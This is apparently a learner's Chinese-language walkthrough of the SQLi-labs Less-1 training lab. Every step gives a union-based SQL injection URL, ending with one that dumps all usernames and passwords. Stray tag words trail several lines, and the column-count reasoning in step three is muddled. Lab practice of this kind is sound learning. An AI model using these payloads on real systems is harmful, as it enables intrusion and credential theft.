一、访问sqllab 的less-1 按提示加入http://10.9.2.81/Less-1/?id=1sql
二、 后面加入单引号,发生报错http://10.9.2.81/Less-1/?id=1‘数据库
三、 测试使用查询显示数据行数 http://10.9.2.81/Less-1/?id=1‘ order by 1--+ 数字从1到4 ,到4 时候报错,能够显示数据只有两行。less
四、 查询数据库版本 数据库名 http://10.9.2.81/Less-1/?id=-1' union select 1,version(),database()--+ 测试
五、查询库里全部表http://10.9.2.81/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+3d
六、 查询表里的字段名http://10.9.2.81/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+orm
七、 查询表里用户名及密码 http://10.9.2.81/Less-1/?id=-1'union select 2,3,group_concat(username,':',password) from security.users --+ blog
8 结束,经过搜索获得最终结果,但数据库查询语句仅限于了解而已,不能灵活应用。it